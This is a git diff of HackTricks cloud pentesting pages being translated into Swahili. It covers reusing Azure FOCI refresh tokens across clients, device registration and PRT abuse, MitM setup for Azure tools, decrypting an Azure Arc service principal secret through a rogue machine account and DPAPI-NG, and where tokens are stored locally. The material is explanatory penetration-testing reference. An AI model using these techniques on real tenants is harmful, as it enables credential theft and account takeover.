platform](https://learn.microsoft.com/en-us/entra/identity-platform/) (Microsoft Entra accounts, Microsoft personal accounts, na akaunti za kijamii kama Facebook na Google) kwa sababu kama [**docs**](https://learn.microsoft.com/en-us/entra/identity-platform/refresh-tokens) zinavyosema: "Refresh tokens zimefungwa kwa mchanganyiko wa mtumiaji na mteja, lakini **hazifungwi kwa rasilimali au tenant**. Mteja anaweza kutumia refresh token kupata access tokens **katika mchanganyiko wowote wa rasilimali na tenant** ambapo ana ruhusa kufanya hivyo. Refresh tokens zimefungwa na ni Microsoft identity platform pekee inayoweza kuzisoma." -Moreover, note that the FOCI applications are public applications, so **no secret is needed** to authenticate to the server. +Zaidi ya hayo, kumbuka kwamba FOCI applications ni public applications, hivyo **siri yoyote haitahitajika** kuthibitisha kwenye seva. -Then known FOCI clients reported in the [**original research**](https://github.com/secureworks/family-of-client-ids-research/tree/main) can be [**found here**](https://github.com/secureworks/family-of-client-ids-research/blob/main/known-foci-clients.csv). +Kisha wateja wa FOCI waliotambulika waliripotiwa katika [**original research**](https://github.com/secureworks/family-of-client-ids-research/tree/main) wanaweza [**kupatikana hapa**](https://github.com/secureworks/family-of-client-ids-research/blob/main/known-foci-clients.csv). ### Get different scope -Following with the previous example code, in this code it's requested a new token for a different scope: - +Kufuata mfano wa awali wa msimbo, katika msimbo huu inahitajika token mpya kwa scope tofauti: ```python # Code from https://github.com/secureworks/family-of-client-ids-research azure_cli_bearer_tokens_for_outlook_api = ( - # Same client as original authorization - azure_cli_client.acquire_token_by_refresh_token( - new_azure_cli_bearer_tokens_for_graph_api.get( - "refresh_token" - ), - # But different scopes than original authorization - scopes=[ - "https://outlook.office.com/.default" - ], - ) +# Same client as original authorization +azure_cli_client.acquire_token_by_refresh_token( +new_azure_cli_bearer_tokens_for_graph_api.get( +"refresh_token" +), +# But different scopes than original authorization +scopes=[ +"https://outlook.office.com/.default" +], +) ) pprint(azure_cli_bearer_tokens_for_outlook_api) ``` - -### Get different client and scopes - +### Pata wateja na mipaka tofauti ```python # Code from https://github.com/secureworks/family-of-client-ids-research microsoft_office_client = msal.PublicClientApplication("d3590ed6-52b3-4102-aeff-aad2292ab01c") microsoft_office_bearer_tokens_for_graph_api = ( - # This is a different client application than we used in the previous examples - microsoft_office_client.acquire_token_by_refresh_token( - # But we can use the refresh token issued to our original client application - azure_cli_bearer_tokens_for_outlook_api.get("refresh_token"), - # And request different scopes too - scopes=["https://graph.microsoft.com/.default"], - ) +# This is a different client application than we used in the previous examples +microsoft_office_client.acquire_token_by_refresh_token( +# But we can use the refresh token issued to our original client application +azure_cli_bearer_tokens_for_outlook_api.get("refresh_token"), +# And request different scopes too +scopes=["https://graph.microsoft.com/.default"], +) ) # How is this possible? pprint(microsoft_office_bearer_tokens_for_graph_api) ``` - -## References +## Marejeleo - [https://github.com/secureworks/family-of-client-ids-research](https://github.com/secureworks/family-of-client-ids-research) {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/azure-security/az-device-registration.md b/src/pentesting-cloud/azure-security/az-device-registration.md index 5fe503c0b..312deff46 100644 --- a/src/pentesting-cloud/azure-security/az-device-registration.md +++ b/src/pentesting-cloud/azure-security/az-device-registration.md @@ -4,41 +4,38 @@ ## Basic Information -When a device joins AzureAD a new object is created in AzureAD. +Wakati kifaa kinajiunga na AzureAD, kitu kipya kinaundwa katika AzureAD. -When registering a device, the **user is asked to login with his account** (asking for MFA if needed), then it request tokens for the device registration service and then ask a final confirmation prompt. +Wakati wa kujiandikisha kifaa, **mtumiaji anaombwa kuingia na akaunti yake** (akiulizwa kwa MFA ikiwa inahitajika), kisha inahitaji tokeni za huduma ya usajili wa kifaa na kisha inauliza uthibitisho wa mwisho. -Then, two RSA keypairs are generated in the device: The **device key** (**public** key) which is sent to **AzureAD** and the **transport** key (**private** key) which is stored in TPM if possible. - -Then, the **object** is generated in **AzureAD** (not in Intune) and AzureAD gives back to the device a **certificate** signed by it. You can check that the **device is AzureAD joined** and info about the **certificate** (like if it's protected by TPM).: +Kisha, jozi mbili za funguo za RSA zinaundwa katika kifaa: **funguo ya kifaa** (**funguo ya umma**) ambayo inatumwa kwa **AzureAD** na **funguo ya usafirishaji** (**funguo ya faragha**) ambayo inahifadhiwa katika TPM ikiwa inawezekana. +Kisha, **kitu** kinaundwa katika **AzureAD** (sio katika Intune) na AzureAD inarudisha kwa kifaa **cheti** kilichosainiwa na hiyo. Unaweza kuthibitisha kwamba **kifaa kimejiunga na AzureAD** na taarifa kuhusu **cheti** (kama kimeprotected na TPM). ```bash dsregcmd /status ``` +Baada ya usajili wa kifaa, **Primary Refresh Token** inahitajika na moduli ya LSASS CloudAP na inatolewa kwa kifaa. PRT inakuja na **funguo ya kikao iliyosimbwa ili kifaa pekee kiweze kuisambua** (kwa kutumia funguo ya umma ya funguo ya usafirishaji) na **inahitajika ili kutumia PRT.** -After the device registration a **Primary Refresh Token** is requested by the LSASS CloudAP module and given to the device. With the PRT is also delivered the **session key encrypted so only the device can decrypt it** (using the public key of the transport key) and it's **needed to use the PRT.** - -For more information about what is a PRT check: +Kwa maelezo zaidi kuhusu nini PRT ni angalia: {{#ref}} az-lateral-movement-cloud-on-prem/az-primary-refresh-token-prt.md {{#endref}} -### TPM - Trusted Platform Module +### TPM - Moduli ya Jukwaa Iliyotegemewa -The **TPM** **protects** against key **extraction** from a powered down device (if protected by PIN) nd from extracting the private material from the OS layer.\ -But it **doesn't protect** against **sniffing** the physical connection between the TPM and CPU or **using the cryptograpic material** in the TPM while the system is running from a process with **SYSTEM** rights. +**TPM** **inalinda** dhidi ya **uchimbaji** wa funguo kutoka kwa kifaa kilichozimwa (ikiwa kinalindwa na PIN) na kutoka kwa uchimbaji wa nyenzo za faragha kutoka kwenye safu ya OS.\ +Lakini **haiwezi kulinda** dhidi ya **kuvuta** muunganisho wa kimwili kati ya TPM na CPU au **kutumia nyenzo za kifahari** katika TPM wakati mfumo unafanya kazi kutoka kwa mchakato wenye haki za **SYSTEM**. -If you check the following page you will see that **stealing the PRT** can be used to access like a the **user**, which is great because the **PRT is located devices**, so it can be stolen from them (or if not stolen abused to generate new signing keys): +Ikiwa utaangalia ukurasa ufuatao utaona kwamba **kuiba PRT** kunaweza kutumika kupata kama **mtumiaji**, ambayo ni nzuri kwa sababu **PRT iko kwenye vifaa**, hivyo inaweza kuibiwa kutoka kwao (au ikiwa haijaibiwa inaweza kutumika vibaya kuunda funguo mpya za kusaini): {{#ref}} az-lateral-movement-cloud-on-prem/pass-the-prt.md {{#endref}} -## Registering a device with SSO tokens - -It would be possible for an attacker to request a token for the Microsoft device registration service from the compromised device and register it: +## Kusajili kifaa na tokeni za SSO +Itakuwa inawezekana kwa mshambuliaji kuomba tokeni kwa huduma ya usajili wa kifaa ya Microsoft kutoka kwa kifaa kilichovunjwa na kukisajili: ```bash # Initialize SSO flow roadrecon auth prt-init @@ -50,49 +47,46 @@ roadrecon auth -r 01cb2876-7ebd-4aa4-9cc9-d28bd4d359a9 --prt-cookie # Custom pyhton script to register a device (check roadtx) registerdevice.py ``` - -Which will give you a **certificate you can use to ask for PRTs in the future**. Therefore maintaining persistence and **bypassing MFA** because the original PRT token used to register the new device **already had MFA permissions granted**. +Which will give you a **cheti ambacho unaweza kutumia kuomba PRTs katika siku zijazo**. Hivyo kudumisha kudumu na **kuzidi MFA** kwa sababu token ya PRT ya awali iliyotumika kujiandikisha kifaa kipya **ilikuwa tayari na ruhusa za MFA zilizotolewa**. > [!TIP] -> Note that to perform this attack you will need permissions to **register new devices**. Also, registering a device doesn't mean the device will be **allowed to enrol into Intune**. +> Kumbuka kwamba ili kufanya shambulio hili utahitaji ruhusa za **kujiandikisha vifaa vipya**. Pia, kujiandikisha kifaa hakumaanishi kifaa kitakuwa **kimekubaliwa kujiunga na Intune**. > [!CAUTION] -> This attack was fixed in September 2021 as you can no longer register new devices using a SSO tokens. However, it's still possible to register devices in a legit way (having username, password and MFA if needed). Check: [**roadtx**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-roadtx-authentication.md). +> Shambulio hili lilirekebishwa mnamo Septemba 2021 kwani huwezi tena kujiandikisha vifaa vipya kwa kutumia token za SSO. Hata hivyo, bado inawezekana kujiandikisha vifaa kwa njia halali (ikiwa na jina la mtumiaji, nenosiri na MFA ikiwa inahitajika). Angalia: [**roadtx**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-roadtx-authentication.md). -## Overwriting a device ticket +## Kuandika upya tiketi ya kifaa -It was possible to **request a device ticket**, **overwrite** the current one of the device, and during the flow **steal the PRT** (so no need to steal it from the TPM. For more info [**check this talk**](https://youtu.be/BduCn8cLV1A). +Ilikuwa inawezekana **kuomba tiketi ya kifaa**, **kuandika upya** ile ya sasa ya kifaa, na wakati wa mchakato **kuiiba PRT** (hivyo hakuna haja ya kuiba kutoka kwa TPM. Kwa maelezo zaidi [**angalia mazungumzo haya**](https://youtu.be/BduCn8cLV1A).
> [!CAUTION] -> However, this was fixed. +> Hata hivyo, hili lilirekebishwa. -## Overwrite WHFB key +## Andika upya funguo za WHFB -[**Check the original slides here**](https://dirkjanm.io/assets/raw/Windows%20Hello%20from%20the%20other%20side_nsec_v1.0.pdf) +[**Angalia slaidi za asili hapa**](https://dirkjanm.io/assets/raw/Windows%20Hello%20from%20the%20other%20side_nsec_v1.0.pdf) -Attack summary: +Muhtasari wa shambulio: -- It's possible to **overwrite** the **registered WHFB** key from a **device** via SSO -- It **defeats TPM protection** as the key is **sniffed during the generation** of the new key -- This also provides **persistence** +- Inawezekana **kuandika upya** funguo za **WHFB** zilizoregistriwa kutoka kwa **kifaa** kupitia SSO +- In **shinda ulinzi wa TPM** kwani funguo inachukuliwa **wakati wa uzalishaji** wa funguo mpya +- Hii pia inatoa **kudumu**
-Users can modify their own searchableDeviceKey property via the Azure AD Graph, however, the attacker needs to have a device in the tenant (registered on the fly or having stolen cert + key from a legit device) and a valid access token for the AAD Graph. - -Then, it's possible to generate a new key with: +Watumiaji wanaweza kubadilisha mali yao ya searchableDeviceKey kupitia Azure AD Graph, hata hivyo, mshambuliaji anahitaji kuwa na kifaa katika mpangilio (kilichoregistriwa kwa haraka au akiwa na cheti + funguo iliyopatikana kutoka kwa kifaa halali) na token ya ufikiaji halali kwa AAD Graph. +Kisha, inawezekana kuzalisha funguo mpya na: ```bash roadtx genhellokey -d -k tempkey.key ``` - -and then PATCH the information of the searchableDeviceKey: +na kisha PATCH taarifa za searchableDeviceKey:
-It's possible to get an access token from a user via **device code phishing** and abuse the previous steps to **steal his access**. For more information check: +Inawezekana kupata token ya ufikiaji kutoka kwa mtumiaji kupitia **device code phishing** na kutumia hatua zilizopita ili **kuiba ufikiaji wake**. Kwa maelezo zaidi angalia: {{#ref}} az-lateral-movement-cloud-on-prem/az-phishing-primary-refresh-token-microsoft-entra.md @@ -100,14 +94,10 @@ az-lateral-movement-cloud-on-prem/az-phishing-primary-refresh-token-microsoft-en
-## References +## Marejeo - [https://youtu.be/BduCn8cLV1A](https://youtu.be/BduCn8cLV1A) - [https://www.youtube.com/watch?v=x609c-MUZ_g](https://www.youtube.com/watch?v=x609c-MUZ_g) - [https://www.youtube.com/watch?v=AFay_58QubY](https://www.youtube.com/watch?v=AFay_58QubY) {{#include ../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/azure-security/az-enumeration-tools.md b/src/pentesting-cloud/azure-security/az-enumeration-tools.md index 6a0dce1da..5a6bbb4ae 100644 --- a/src/pentesting-cloud/azure-security/az-enumeration-tools.md +++ b/src/pentesting-cloud/azure-security/az-enumeration-tools.md @@ -5,7 +5,7 @@ ## Install PowerShell in Linux > [!TIP] -> In linux you will need to install PowerShell Core: +> Katika linux utahitaji kufunga PowerShell Core: > > ```bash > sudo apt-get update @@ -28,56 +28,45 @@ ## Install PowerShell in MacOS -Instructions from the [**documentation**](https://learn.microsoft.com/en-us/powershell/scripting/install/installing-powershell-on-macos?view=powershell-7.4): - -1. Install `brew` if not installed yet: +Maelekezo kutoka [**documentation**](https://learn.microsoft.com/en-us/powershell/scripting/install/installing-powershell-on-macos?view=powershell-7.4): +1. Funga `brew` ikiwa haijafungwa bado: ```bash /bin/bash -c "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/HEAD/install.sh)" ``` - -2. Install the latest stable release of PowerShell: - +2. Sakinisha toleo la hivi punde la PowerShell: ```sh brew install powershell/tap/powershell ``` - -3. Run PowerShell: - +3. Kimbia PowerShell: ```sh pwsh ``` - -4. Update: - +4. Sasisho: ```sh brew update brew upgrade powershell ``` - ## Main Enumeration Tools ### az cli -[**Azure Command-Line Interface (CLI)**](https://learn.microsoft.com/en-us/cli/azure/install-azure-cli) is a cross-platform tool written in Python for managing and administering (most) Azure and Entra ID resources. It connects to Azure and executes administrative commands via the command line or scripts. +[**Azure Command-Line Interface (CLI)**](https://learn.microsoft.com/en-us/cli/azure/install-azure-cli) ni chombo cha kuvuka majukwaa kilichoandikwa kwa Python kwa ajili ya kusimamia na kuendesha (zaidi ya) rasilimali za Azure na Entra ID. Kinajihusisha na Azure na kutekeleza amri za usimamizi kupitia mstari wa amri au skripti. -Follow this link for the [**installation instructionsĀ”**](https://learn.microsoft.com/en-us/cli/azure/install-azure-cli#install). +Fuata kiungo hiki kwa [**maelekezo ya usakinishajiĀ”**](https://learn.microsoft.com/en-us/cli/azure/install-azure-cli#install). -Commands in Azure CLI are structured using a pattern of: `az ` +Amri katika Azure CLI zimejengwa kwa kutumia muundo wa: `az ` #### Debug | MitM az cli -Using the parameter **`--debug`** it's possible to see all the requests the tool **`az`** is sending: - +Kwa kutumia parameter **`--debug`** inawezekana kuona maombi yote ambayo chombo **`az`** kinatuma: ```bash az account management-group list --output table --debug ``` - -In order to do a **MitM** to the tool and **check all the requests** it's sending manually you can do: +Ili kufanya **MitM** kwa zana na **kuangalia maombi yote** inayopeleka kwa mikono unaweza kufanya: {{#tabs }} {{#tab name="Bash" }} - ```bash export ADAL_PYTHON_SSL_NO_VERIFY=1 export AZURE_CLI_DISABLE_CONNECTION_VERIFICATION=1 @@ -90,64 +79,53 @@ export HTTP_PROXY="http://127.0.0.1:8080" openssl x509 -in ~/Downloads/cacert.der -inform DER -out ~/Downloads/cacert.pem -outform PEM export REQUESTS_CA_BUNDLE=/Users/user/Downloads/cacert.pem ``` - {{#endtab }} {{#tab name="PS" }} - ```bash $env:ADAL_PYTHON_SSL_NO_VERIFY=1 $env:AZURE_CLI_DISABLE_CONNECTION_VERIFICATION=1 $env:HTTPS_PROXY="http://127.0.0.1:8080" $env:HTTP_PROXY="http://127.0.0.1:8080" ``` - {{#endtab }} {{#endtabs }} ### Az PowerShell -Azure PowerShell is a module with cmdlets for managing Azure resources directly from the PowerShell command line. +Azure PowerShell ni moduli yenye cmdlets za kusimamia rasilimali za Azure moja kwa moja kutoka kwenye mstari wa amri wa PowerShell. -Follow this link for the [**installation instructions**](https://learn.microsoft.com/en-us/powershell/azure/install-azure-powershell). +Fuata kiungo hiki kwa [**maelekezo ya usakinishaji**](https://learn.microsoft.com/en-us/powershell/azure/install-azure-powershell). -Commands in Azure PowerShell AZ Module are structured like: `-Az ` +Amri katika Moduli ya Azure PowerShell AZ zimeundwa kama: `-Az ` #### Debug | MitM Az PowerShell -Using the parameter **`-Debug`** it's possible to see all the requests the tool is sending: - +Kwa kutumia parameter **`-Debug`** inawezekana kuona maombi yote ambayo chombo kinatuma: ```bash Get-AzResourceGroup -Debug ``` - -In order to do a **MitM** to the tool and **check all the requests** it's sending manually you can set the env variables `HTTPS_PROXY` and `HTTP_PROXY` according to the [**docs**](https://learn.microsoft.com/en-us/powershell/azure/az-powershell-proxy). +Ili kufanya **MitM** kwa zana na **kuangalia maombi yote** inayopeleka kwa mikono unaweza kuweka mabadiliko ya mazingira `HTTPS_PROXY` na `HTTP_PROXY` kulingana na [**docs**](https://learn.microsoft.com/en-us/powershell/azure/az-powershell-proxy). ### Microsoft Graph PowerShell -Microsoft Graph PowerShell is a cross-platform SDK that enables access to all Microsoft Graph APIs, including services like SharePoint, Exchange, and Outlook, using a single endpoint. It supports PowerShell 7+, modern authentication via MSAL, external identities, and advanced queries. With a focus on least privilege access, it ensures secure operations and receives regular updates to align with the latest Microsoft Graph API features. +Microsoft Graph PowerShell ni SDK ya jukwaa nyingi inayowezesha ufikiaji wa APIs zote za Microsoft Graph, ikiwa ni pamoja na huduma kama SharePoint, Exchange, na Outlook, kwa kutumia kiunganishi kimoja. Inasaidia PowerShell 7+, uthibitishaji wa kisasa kupitia MSAL, vitambulisho vya nje, na maswali ya hali ya juu. Kwa kuzingatia ufikiaji wa chini kabisa, inahakikisha shughuli salama na inapokea masasisho ya mara kwa mara ili kuendana na vipengele vya hivi karibuni vya Microsoft Graph API. -Follow this link for the [**installation instructions**](https://learn.microsoft.com/en-us/powershell/microsoftgraph/installation). +Fuata kiungo hiki kwa [**maelekezo ya usakinishaji**](https://learn.microsoft.com/en-us/powershell/microsoftgraph/installation). -Commands in Microsoft Graph PowerShell are structured like: `-Mg ` +Amri katika Microsoft Graph PowerShell zimejengwa kama: `-Mg ` #### Debug Microsoft Graph PowerShell -Using the parameter **`-Debug`** it's possible to see all the requests the tool is sending: - +Kwa kutumia parameter **`-Debug`** inawezekana kuona maombi yote ambayo zana inatuma: ```bash Get-MgUser -Debug ``` - ### ~~**AzureAD Powershell**~~ -The Azure Active Directory (AD) module, now **deprecated**, is part of Azure PowerShell for managing Azure AD resources. It provides cmdlets for tasks like managing users, groups, and application registrations in Entra ID. +Moduli ya Azure Active Directory (AD), sasa **imeondolewa**, ni sehemu ya Azure PowerShell kwa ajili ya kusimamia rasilimali za Azure AD. Inatoa cmdlets kwa kazi kama kusimamia watumiaji, vikundi, na usajili wa programu katika Entra ID. > [!TIP] -> This is replaced by Microsoft Graph PowerShell - -Follow this link for the [**installation instructions**](https://www.powershellgallery.com/packages/AzureAD). - - - +> Hii imebadilishwa na Microsoft Graph PowerShell +Fuata kiungo hiki kwa [**maelekezo ya usakinishaji**](https://www.powershellgallery.com/packages/AzureAD). diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-arc-vulnerable-gpo-deploy-script.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-arc-vulnerable-gpo-deploy-script.md index e53ceb412..e2875f1af 100644 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-arc-vulnerable-gpo-deploy-script.md +++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-arc-vulnerable-gpo-deploy-script.md @@ -2,19 +2,18 @@ {{#include ../../../banners/hacktricks-training.md}} -### Identifying the Issues +### Kutambua Masuala -Azure Arc allows for the integration of new internal servers (joined domain servers) into Azure Arc using the Group Policy Object method. To facilitate this, Microsoft provides a deployment toolkit necessary for initiating the onboarding procedure. Inside the ArcEnableServerGroupPolicy.zip file, the following scripts can be found: DeployGPO.ps1, EnableAzureArc.ps1, and AzureArcDeployment.psm1. +Azure Arc inaruhusu kuunganishwa kwa seva mpya za ndani (seva zilizounganishwa kwenye kikoa) ndani ya Azure Arc kwa kutumia mbinu ya Group Policy Object. Ili kuwezesha hili, Microsoft inatoa zana ya kutekeleza inayohitajika kwa ajili ya kuanzisha mchakato wa kuingiza. Ndani ya faili ya ArcEnableServerGroupPolicy.zip, skripti zifuatazo zinaweza kupatikana: DeployGPO.ps1, EnableAzureArc.ps1, na AzureArcDeployment.psm1. -When executed, the DeployGPO.ps1 script performs the following actions: +Wakati inatekelezwa, skripti ya DeployGPO.ps1 inafanya hatua zifuatazo: -1. Creates the Azure Arc Servers Onboarding GPO within the local domain. -2. Copies the EnableAzureArc.ps1 onboarding script to the designated network share created for the onboarding process, which also contains the Windows installer package. +1. Inaunda Azure Arc Servers Onboarding GPO ndani ya kikoa cha ndani. +2. Inakopya skripti ya kuingiza ya EnableAzureArc.ps1 kwenye sehemu ya mtandao iliyotengwa kwa ajili ya mchakato wa kuingiza, ambayo pia ina pakiti ya kusakinisha ya Windows. -When running this script, sys admins need to provide two main parameters: **ServicePrincipalId** and **ServicePrincipalClientSecret**. Additionally, it requires other parameters such as the domain, the FQDN of the server hosting the share, and the share name. Further details such as the tenant ID, resource group, and other necessary information must also be provided to the script. - -An encrypted secret is generated in the AzureArcDeploy directory on the specified share using DPAPI-NG encryption. The encrypted secret is stored in a file named encryptedServicePrincipalSecret. Evidence of this can be found in the DeployGPO.ps1 script, where the encryption is performed by calling ProtectBase64 with $descriptor and $ServicePrincipalSecret as inputs. The descriptor consists of the Domain Computer and Domain Controller group SIDs, ensuring that the ServicePrincipalSecret can only be decrypted by the Domain Controllers and Domain Computers security groups, as noted in the script comments. +Wakati wa kuendesha skripti hii, wasimamizi wa mfumo wanahitaji kutoa vigezo viwili vikuu: **ServicePrincipalId** na **ServicePrincipalClientSecret**. Aidha, inahitaji vigezo vingine kama vile kikoa, FQDN ya seva inayohifadhi sehemu hiyo, na jina la sehemu hiyo. Maelezo zaidi kama vile kitambulisho cha mpangaji, kundi la rasilimali, na taarifa nyingine muhimu lazima pia zipewe skripti. +Siri iliyosimbwa inaundwa katika saraka ya AzureArcDeploy kwenye sehemu iliyotajwa kwa kutumia usimbaji wa DPAPI-NG. Siri iliyosimbwa inahifadhiwa katika faili inayoitwa encryptedServicePrincipalSecret. Ushahidi wa hili unaweza kupatikana katika skripti ya DeployGPO.ps1, ambapo usimbaji unafanywa kwa kuita ProtectBase64 na $descriptor na $ServicePrincipalSecret kama ingizo. Maelezo ya descriptor yanajumuisha SID za Kundi la Kompyuta za Kikoa na Kundi la Wakala wa Kikoa, kuhakikisha kwamba ServicePrincipalSecret inaweza kusimbwa tu na Vikundi vya Usalama vya Wakala wa Kikoa na Kompyuta za Kikoa, kama ilivyotajwa katika maoni ya skripti. ```powershell # Encrypting the ServicePrincipalSecret to be decrypted only by the Domain Controllers and the Domain Computers security groups $DomainComputersSID = "SID=" + $DomainComputersSID @@ -23,24 +22,20 @@ $descriptor = @($DomainComputersSID, $DomainControllersSID) -join " OR " Import-Module $PSScriptRoot\AzureArcDeployment.psm1 $encryptedSecret = [DpapiNgUtil]::ProtectBase64($descriptor, $ServicePrincipalSecret) ``` - ### Exploit -We have the follow conditions: +Tuna masharti yafuatayo: -1. We have successfully penetrated the internal network. -2. We have the capability to create or assume control of a computer account within Active Directory. -3. We have discovered a network share containing the AzureArcDeploy directory. - -There are several methods to obtain a machine account within an AD environment. One of the most common is exploiting the machine account quota. Another method involves compromising a machine account through vulnerable ACLs or various other misconfigurations. +1. Tumefanikiwa kuingia kwenye mtandao wa ndani. +2. Tuna uwezo wa kuunda au kudhibiti akaunti ya kompyuta ndani ya Active Directory. +3. Tumegundua sehemu ya mtandao inayoshikilia saraka ya AzureArcDeploy. +Kuna njia kadhaa za kupata akaunti ya mashine ndani ya mazingira ya AD. Moja ya njia maarufu ni kutumia quota ya akaunti ya mashine. Njia nyingine inahusisha kuathiri akaunti ya mashine kupitia ACLs dhaifu au mipangilio mingine mbalimbali isiyo sahihi. ```powershell Import-MKodule powermad New-MachineAccount -MachineAccount fake01 -Password $(ConvertTo-SecureString '123456' -AsPlainText -Force) -Verbose ``` - -Once a machine account is obtained, it is possible to authenticate using this account. We can either use the runas.exe command with the netonly flag or use pass-the-ticket with Rubeus.exe. - +Mara tu akaunti ya mashine imepatikana, inawezekana kuthibitisha kwa kutumia akaunti hii. Tunaweza ama kutumia amri ya runas.exe na bendera ya netonly au kutumia pass-the-ticket na Rubeus.exe. ```powershell runas /user:fake01$ /netonly powershell ``` @@ -48,9 +43,7 @@ runas /user:fake01$ /netonly powershell ```powershell .\Rubeus.exe asktgt /user:fake01$ /password:123456 /prr ``` - -By having the TGT for our computer account stored in memory, we can use the following script to decrypt the service principal secret. - +Kwa kuwa na TGT ya akaunti yetu ya kompyuta iliyohifadhiwa kwenye kumbukumbu, tunaweza kutumia skripti ifuatayo kufungua siri ya huduma ya msingi. ```powershell Import-Module .\AzureArcDeployment.psm1 @@ -59,17 +52,12 @@ $encryptedSecret = Get-Content "[shared folder path]\AzureArcDeploy\encryptedSer $ebs = [DpapiNgUtil]::UnprotectBase64($encryptedSecret) $ebs ``` +Alternately, we can use [SecretManagement.DpapiNG](https://github.com/jborean93/SecretManagement.DpapiNG). -Alternatively, we can use [SecretManagement.DpapiNG](https://github.com/jborean93/SecretManagement.DpapiNG). - -At this point, we can gather the remaining information needed to connect to Azure from the ArcInfo.json file, which is stored on the same network share as the encryptedServicePrincipalSecret file. This file contains details such as: TenantId, servicePrincipalClientId, ResourceGroup, and more. With this information, we can use Azure CLI to authenticate as the compromised service principal. +Katika hatua hii, tunaweza kukusanya taarifa zilizobaki zinazohitajika kuungana na Azure kutoka kwa faili la ArcInfo.json, ambalo limehifadhiwa kwenye sehemu ile ile ya mtandao kama faili la encryptedServicePrincipalSecret. Faili hii ina maelezo kama: TenantId, servicePrincipalClientId, ResourceGroup, na mengineyo. Pamoja na taarifa hizi, tunaweza kutumia Azure CLI kuthibitisha kama huduma ya msingi iliyovunjika. ## References - [https://xybytes.com/azure/Abusing-Azure-Arc/](https://xybytes.com/azure/Abusing-Azure-Arc/) {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-local-cloud-credentials.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-local-cloud-credentials.md index 2ddcbb0a5..0c38c5a29 100644 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-local-cloud-credentials.md +++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-local-cloud-credentials.md @@ -2,42 +2,38 @@ {{#include ../../../banners/hacktricks-training.md}} -## Local Token Storage and Security Considerations +## Hifadhi ya Token za Mitaa na Mambo ya Usalama -### Azure CLI (Command-Line Interface) +### Azure CLI (Interface ya Amri) -Tokens and sensitive data are stored locally by Azure CLI, raising security concerns: +Token na data nyeti huhifadhiwa kwa ndani na Azure CLI, na kuleta wasiwasi wa usalama: -1. **Access Tokens**: Stored in plaintext within `accessTokens.json` located at `C:\Users\\.Azure`. -2. **Subscription Information**: `azureProfile.json`, in the same directory, holds subscription details. -3. **Log Files**: The `ErrorRecords` folder within `.azure` might contain logs with exposed credentials, such as: - - Executed commands with credentials embedded. - - URLs accessed using tokens, potentially revealing sensitive information. +1. **Access Tokens**: Huhifadhiwa katika maandiko wazi ndani ya `accessTokens.json` iliyoko `C:\Users\\.Azure`. +2. **Taarifa za Usajili**: `azureProfile.json`, katika saraka hiyo hiyo, ina maelezo ya usajili. +3. **Faili za Kumbukumbu**: Folda ya `ErrorRecords` ndani ya `.azure` inaweza kuwa na kumbukumbu zenye akreditivu zilizofichuliwa, kama vile: +- Amri zilizotekelezwa zikiwa na akreditivu zilizojumuishwa. +- URLs zilizofikiwa kwa kutumia token, ambazo zinaweza kufichua taarifa nyeti. ### Azure PowerShell -Azure PowerShell also stores tokens and sensitive data, which can be accessed locally: +Azure PowerShell pia huhifadhi token na data nyeti, ambazo zinaweza kufikiwa kwa ndani: -1. **Access Tokens**: `TokenCache.dat`, located at `C:\Users\\.Azure`, stores access tokens in plaintext. -2. **Service Principal Secrets**: These are stored unencrypted in `AzureRmContext.json`. -3. **Token Saving Feature**: Users have the ability to persist tokens using the `Save-AzContext` command, which should be used cautiously to prevent unauthorized access. +1. **Access Tokens**: `TokenCache.dat`, iliyoko `C:\Users\\.Azure`, huhifadhi token za ufikiaji katika maandiko wazi. +2. **Siri za Huduma Kuu**: Hizi huhifadhiwa bila usimbaji katika `AzureRmContext.json`. +3. **Kipengele cha Kuhifadhi Token**: Watumiaji wana uwezo wa kudumisha token kwa kutumia amri ya `Save-AzContext`, ambayo inapaswa kutumika kwa tahadhari ili kuzuia ufikiaji usioidhinishwa. -## Automatic Tools to find them +## Zana za Otomatiki za Kuziokoa - [**Winpeas**](https://github.com/carlospolop/PEASS-ng/tree/master/winPEAS/winPEASexe) - [**Get-AzurePasswords.ps1**](https://github.com/NetSPI/MicroBurst/blob/master/AzureRM/Get-AzurePasswords.ps1) -## Security Recommendations +## Mapendekezo ya Usalama -Considering the storage of sensitive data in plaintext, it's crucial to secure these files and directories by: +Kuzingatia uhifadhi wa data nyeti katika maandiko wazi, ni muhimu kulinda faili na saraka hizi kwa: -- Limiting access rights to these files. -- Regularly monitoring and auditing these directories for unauthorized access or unexpected changes. -- Employing encryption for sensitive files where possible. -- Educating users about the risks and best practices for handling such sensitive information. +- Kuweka mipaka ya haki za ufikiaji kwa faili hizi. +- Kufuata na kukagua mara kwa mara saraka hizi kwa ufikiaji usioidhinishwa au mabadiliko yasiyotarajiwa. +- Kutumia usimbaji kwa faili nyeti inapowezekana. +- Kuwaelimisha watumiaji kuhusu hatari na mbinu bora za kushughulikia taarifa nyeti kama hizi. {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pass-the-certificate.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pass-the-certificate.md index f2a5f2f4d..26882cf7f 100644 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pass-the-certificate.md +++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pass-the-certificate.md @@ -4,40 +4,32 @@ ## Pass the Certificate (Azure) -In Azure joined machines, it's possible to authenticate from one machine to another using certificates that **must be issued by Azure AD CA** for the required user (as the subject) when both machines support the **NegoEx** authentication 